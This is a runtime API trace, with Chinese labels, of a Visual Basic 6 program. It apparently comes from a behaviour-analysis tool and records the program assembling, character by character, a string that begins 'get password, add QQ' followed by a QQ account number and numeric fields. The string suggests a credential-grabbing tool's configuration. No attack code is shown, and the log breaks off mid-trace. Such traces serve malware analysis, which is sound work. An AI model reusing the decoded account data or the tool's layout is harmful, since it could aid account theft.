rtcHexVarFromVar: 变量转为十六进制表示
Var=0x0012F9FC
rtcHexVarFromVar返回值: 0x0012F9FC (vb字符串:"D3")
返回地址: 004040FF 函数名称: __vbaStrErrVarCopy(MSVBVM60.DLL)
__vbaStrErrVarCopy返回值: 0x001715F4
返回地址: 0040410D 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"D3")
返回地址: 004042CD 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="BC"
__vbaStrCmp返回值: 0x00000001
返回地址: 004042EC 函数名称: __vbaStrCmp(MSVBVM60.DLL)
__vbaStrCmp: 比较字符串
String1=""
String2="D3"
__vbaStrCmp返回值: 0x00000001
返回地址: 004043B1 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="BC"
String2="&H"
__vbaStrCat返回值: 0x00171314 (unicode字符串"&HBC")
返回地址: 004043BF 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171314 (unicode字符串"&HBC")
返回地址: 004043D3 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1="D3"
String2="&HBC"
__vbaStrCat返回值: 0x001715F4 (unicode字符串"&HBCD3")
返回地址: 004043E1 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"&HBCD3")
返回地址: 004043F5 函数名称: __vbaStrCat(MSVBVM60.DLL)
__vbaStrCat: 连接字符串
String1=""
String2="&HBCD3"
__vbaStrCat返回值: 0x00171644 (unicode字符串"&HBCD3")
返回地址: 00404403 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171644 (unicode字符串"&HBCD3")
返回地址: 0040440A 函数名称: rtcR8ValFromBstr(MSVBVM60.DLL)
rtcR8ValFromBstr: 字符串转为数值
String="&HBCD3"
rtcR8ValFromBstr返回值: 0x00000020(结果)
返回地址: 00404410 函数名称: __vbaFpI4(MSVBVM60.DLL)
__vbaFpI4: 浮点数值转为I4
fVar=0x0012FB20
__vbaFpI4返回值: 0xFFFFBCD3 ( 十进制为:-17197 )
返回地址: 0040441E 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"加")
返回地址: 00404439 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"加")
Var2=0x0012F9CC (vb字符串:"获取密码")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加")
返回地址: 00404440 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加")
__vbaStrVarMove返回值: 0x001715C4 (unicode字符串"获取密码加")
返回地址: 0040444E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715C4 (unicode字符串"获取密码加")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A00C
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"Q")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"Q")
Var2=0x0012F9CC (vb字符串:"获取密码加")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加Q")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加Q")
__vbaStrVarMove返回值: 0x001715F4 (unicode字符串"获取密码加Q")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"获取密码加Q")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A00D
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"Q")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"Q")
Var2=0x0012F9CC (vb字符串:"获取密码加Q")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ")
__vbaStrVarMove返回值: 0x00171364 (unicode字符串"获取密码加QQ")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171364 (unicode字符串"获取密码加QQ")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A00E
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"2")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"2")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2")
__vbaStrVarMove返回值: 0x00171644 (unicode字符串"获取密码加QQ2")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171644 (unicode字符串"获取密码加QQ2")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A00F
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"0")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"0")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ20")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ20")
__vbaStrVarMove返回值: 0x001715F4 (unicode字符串"获取密码加QQ20")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"获取密码加QQ20")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A010
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"4")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"4")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ20")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ204")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ204")
__vbaStrVarMove返回值: 0x00171364 (unicode字符串"获取密码加QQ204")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171364 (unicode字符串"获取密码加QQ204")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A011
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"9")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"9")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ204")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049")
__vbaStrVarMove返回值: 0x00171644 (unicode字符串"获取密码加QQ2049")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171644 (unicode字符串"获取密码加QQ2049")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A012
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"8")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"8")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ20498")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ20498")
__vbaStrVarMove返回值: 0x001715F4 (unicode字符串"获取密码加QQ20498")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001715F4 (unicode字符串"获取密码加QQ20498")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A013
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"2")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"2")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ20498")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ204982")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ204982")
__vbaStrVarMove返回值: 0x00171364 (unicode字符串"获取密码加QQ204982")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x00171364 (unicode字符串"获取密码加QQ204982")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A014
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"6")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"6")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ204982")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826")
__vbaStrVarMove返回值: 0x0016FB7C (unicode字符串"获取密码加QQ2049826")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0016FB7C (unicode字符串"获取密码加QQ2049826")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A015
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"8")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"8")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ20498268")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ20498268")
__vbaStrVarMove返回值: 0x001716BC (unicode字符串"获取密码加QQ20498268")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001716BC (unicode字符串"获取密码加QQ20498268")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A016
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"5")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"5")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ20498268")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ204982685")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ204982685")
__vbaStrVarMove返回值: 0x0016FB7C (unicode字符串"获取密码加QQ204982685")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0016FB7C (unicode字符串"获取密码加QQ204982685")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A017
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"6")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"6")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ204982685")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856")
__vbaStrVarMove返回值: 0x001716BC (unicode字符串"获取密码加QQ2049826856")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001716BC (unicode字符串"获取密码加QQ2049826856")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A018
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"|")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"|")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|")
__vbaStrVarMove返回值: 0x0016FB7C (unicode字符串"获取密码加QQ2049826856|")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0016FB7C (unicode字符串"获取密码加QQ2049826856|")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A019
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"1")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"1")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|1")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|1")
__vbaStrVarMove返回值: 0x001716BC (unicode字符串"获取密码加QQ2049826856|1")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001716BC (unicode字符串"获取密码加QQ2049826856|1")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A01A
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"0")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"0")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|1")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|10")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|10")
__vbaStrVarMove返回值: 0x0016FB7C (unicode字符串"获取密码加QQ2049826856|10")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0016FB7C (unicode字符串"获取密码加QQ2049826856|10")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A01B
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"2")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"2")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|10")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102")
__vbaStrVarMove返回值: 0x001716BC (unicode字符串"获取密码加QQ2049826856|102")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001716BC (unicode字符串"获取密码加QQ2049826856|102")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A01C
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"4")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"4")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|1024")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|1024")
__vbaStrVarMove返回值: 0x0016FDCC (unicode字符串"获取密码加QQ2049826856|1024")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0016FDCC (unicode字符串"获取密码加QQ2049826856|1024")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A01D
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"9")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"9")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|1024")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|10249")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|10249")
__vbaStrVarMove返回值: 0x001716F4 (unicode字符串"获取密码加QQ2049826856|10249")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001716F4 (unicode字符串"获取密码加QQ2049826856|10249")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A01E
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"4")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"4")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|10249")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494")
__vbaStrVarMove返回值: 0x0016FDCC (unicode字符串"获取密码加QQ2049826856|102494")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0016FDCC (unicode字符串"获取密码加QQ2049826856|102494")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A01F
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"|")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"|")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|")
__vbaStrVarMove返回值: 0x001716F4 (unicode字符串"获取密码加QQ2049826856|102494|")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x001716F4 (unicode字符串"获取密码加QQ2049826856|102494|")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A020
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"1")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"1")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
String=0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|1")
__vbaStrVarMove返回值: 0x0016FDCC (unicode字符串"获取密码加QQ2049826856|102494|1")
返回地址: 00403F1E 函数名称: __vbaStrMove(MSVBVM60.DLL)
__vbaStrMove: 移动字符串
strDest=0x0012FB20
strSrc=0x0012FBF0
__vbaStrMove返回值: 0x0016FDCC (unicode字符串"获取密码加QQ2049826856|102494|1")
返回地址: 00403EA4 函数名称: __vbaGet3(MSVBVM60.DLL)
__vbaGet3返回值: 0x0000A021
返回地址: 00403EEE 函数名称: rtcVarBstrFromAnsi(MSVBVM60.DLL)
rtcVarBstrFromAnsi: ASCII码转为字符
Ascii=0x0012FA0C
rtcVarBstrFromAnsi返回值: 0x0012FA0C (vb字符串:"1")
返回地址: 00403F09 函数名称: __vbaVarAdd(MSVBVM60.DLL)
__vbaVarAdd: 加法运算
RetBuffer=0x0012F9FC
Var1=0x0012FA0C (vb字符串:"1")
Var2=0x0012F9CC (vb字符串:"获取密码加QQ2049826856|102494|1")
__vbaVarAdd返回值: 0x0012F9FC (vb字符串:"获取密码加QQ2049826856|102494|11")
返回地址: 00403F10 函数名称: __vbaStrVarMove(MSVBVM60.DLL)
__vbaStrVarMove: 移动字符串
